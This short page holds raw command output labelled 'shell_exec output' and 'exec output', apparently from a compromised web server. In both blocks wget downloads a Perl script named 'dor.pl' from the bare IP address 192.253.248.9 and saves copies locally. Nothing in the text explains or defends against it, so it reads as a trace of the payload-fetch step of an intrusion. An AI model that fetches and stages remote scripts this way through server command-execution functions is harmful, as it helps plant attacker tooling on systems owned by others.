<pre>=== shell_exec output ===
--2026-06-27 14:12:41--  http://192.253.248.9/dor.pl
Connecting to 192.253.248.9:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 29426 (29K) [text/x-perl]
Saving to: 'dor.pl.3'

     0K .......... .......... ........                        100%  948K=0.03s

2026-06-27 14:12:41 (948 KB/s) - 'dor.pl.3' saved [29426/29426]


=== exec output ===
--2026-06-27 14:12:41--  http://192.253.248.9/dor.pl
Connecting to 192.253.248.9:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 29426 (29K) [text/x-perl]
Saving to: 'dor.pl.4'

     0K .......... .......... ........                        100%  946K=0.03s

2026-06-27 14:12:41 (946 KB/s) - 'dor.pl.4' saved [29426/29426]

</pre>